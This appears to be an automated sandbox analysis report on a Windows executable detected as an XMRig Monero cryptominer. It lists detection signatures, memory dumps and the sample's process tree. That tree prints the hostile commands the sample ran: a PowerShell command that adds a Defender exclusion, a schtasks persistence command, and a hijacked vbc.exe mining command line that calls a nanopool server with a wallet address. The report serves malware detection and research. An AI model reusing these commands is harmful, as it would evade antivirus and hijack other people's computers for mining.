Analysis
- max time kernel
75s - max time network
145s - platform
windows7_x64 - resource
win7-20221111-en - resource tags
- submitted
20/01/2023, 19:52
General
- Target adc669c93f37465d132469c64ae41bd8.exe
- Size 1.6MB
- Sample230120-ylek5sbe7s
- SHA256 e03a2ded10015b5f58ec83345fd3fcf4ea370ee4e6f505ad18f65ee1b689eef3
Malware Config
Signatures
- xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
- .NET Reactor proctector 2 IoCs
Detects an executable protected by an unregistered version of Eziriz's .NET Reactor.
- XMRig Miner payload 14 IoCs
- Uses the VBS compiler for execution 1 TTPs
- Suspicious use of SetThreadContext 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 3 IoCs
- Suspicious behavior: LoadsDriver 1 IoCs
- Suspicious use of AdjustPrivilegeToken 4 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of WriteProcessMemory 24 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\adc669c93f37465d132469c64ae41bd8.exe"C:\Users\Admin\AppData\Local\Temp\adc669c93f37465d132469c64ae41bd8.exe"1⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "NOLAB" /tr "C:\ProgramData\Maker\NOLAB.exe"2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\schtasks.exeschtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "NOLAB" /tr "C:\ProgramData\Maker\NOLAB.exe"3⤵
- Creates scheduled task(s)
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-
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C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -o xmr-eu1.nanopool.org:14433 -u 4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQoBJqYKAGMEQrLE8L8 --tls --coin monero2⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
-
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
memory/616-82-0x00000000027FB000-0x000000000281A000-memory.dmp
memory/616-81-0x00000000027F4000-0x00000000027F7000-memory.dmp
memory/616-79-0x000007FEEC2F0000-0x000007FEECE4D000-memory.dmp
memory/616-80-0x00000000027F4000-0x00000000027F7000-memory.dmp
memory/616-78-0x000007FEECE50000-0x000007FEED873000-memory.dmp
memory/616-76-0x000007FEFB5D1000-0x000007FEFB5D3000-memory.dmp
memory/1532-86-0x000007FEFB1A0000-0x000007FEFB3B5000-memory.dmp
memory/1532-91-0x000007FEFEA40000-0x000007FEFEA8D000-memory.dmp
memory/1532-65-0x000007FEF5810000-0x000007FEF61FC000-memory.dmp
memory/1532-66-0x0000000000BA0000-0x0000000000E20000-memory.dmp
memory/1532-67-0x00000000000E0000-0x0000000000123000-memory.dmp
memory/1532-68-0x000007FEFE130000-0x000007FEFE25D000-memory.dmp
memory/1532-69-0x000007FEFE3D0000-0x000007FEFE5D3000-memory.dmp
memory/1532-70-0x000007FEFB3C0000-0x000007FEFB416000-memory.dmp
memory/1532-71-0x0000000000BA0000-0x0000000000E20000-memory.dmp
memory/1532-72-0x000007FEF4150000-0x000007FEF427C000-memory.dmp
memory/1532-73-0x000007FEFC4E0000-0x000007FEFC502000-memory.dmp
memory/1532-74-0x000007FEFC390000-0x000007FEFC3A7000-memory.dmp
memory/1532-63-0x000007FEF63E0000-0x000007FEF64D7000-memory.dmp
memory/1532-62-0x000007FEFE260000-0x000007FEFE2D1000-memory.dmp
memory/1532-77-0x000007FEFE5E0000-0x000007FEFE6B7000-memory.dmp
memory/1532-61-0x000007FEFCBB0000-0x000007FEFCC1C000-memory.dmp
memory/1532-60-0x0000000076C30000-0x0000000076D4F000-memory.dmp
memory/1532-59-0x000007FEFEA90000-0x000007FEFEB2F000-memory.dmp
memory/1532-58-0x0000000076B30000-0x0000000076C2A000-memory.dmp
memory/1532-57-0x000007FEFE970000-0x000007FEFE9D7000-memory.dmp
memory/1532-83-0x00000000000E0000-0x0000000000123000-memory.dmp
memory/1532-56-0x000007FEFA500000-0x000007FEFA59C000-memory.dmp
memory/1532-122-0x0000000000BA0000-0x0000000000E20000-memory.dmp
memory/1532-55-0x000007FEFA5E0000-0x000007FEFA64F000-memory.dmp
memory/1532-88-0x000007FEFE2E0000-0x000007FEFE2FF000-memory.dmp
memory/1532-89-0x000007FEF0AC0000-0x000007FEF0ADC000-memory.dmp
memory/1532-90-0x000007FEF0AE0000-0x000007FEF0B42000-memory.dmp
memory/1532-64-0x000007FEFDCD0000-0x000007FEFDDAB000-memory.dmp
memory/1532-92-0x000007FEF9D80000-0x000007FEF9DE4000-memory.dmp
memory/1532-93-0x000007FEF9DF0000-0x000007FEF9E61000-memory.dmp
memory/1532-94-0x000007FEFC960000-0x000007FEFC985000-memory.dmp
memory/1532-95-0x000007FEFA6F0000-0x000007FEFA717000-memory.dmp
memory/1532-96-0x000007FEFCC30000-0x000007FEFCC66000-memory.dmp
memory/1532-97-0x000007FEFC1B0000-0x000007FEFC20B000-memory.dmp
memory/1680-115-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/1680-117-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/1680-101-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/1680-103-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/1680-105-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/1680-107-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/1680-108-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/1680-110-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/1680-112-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/1680-113-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/1680-99-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/1680-98-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/1680-120-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/1680-121-0x00000000002E0000-0x0000000000300000-memory.dmp
memory/1680-127-0x0000000000000000-0x0000000001000000-memory.dmp
memory/1680-123-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/1680-124-0x0000000000000000-0x0000000001000000-memory.dmp
memory/1680-125-0x0000000000000000-0x0000000001000000-memory.dmp
memory/1680-126-0x0000000140000000-0x00000001407C9000-memory.dmp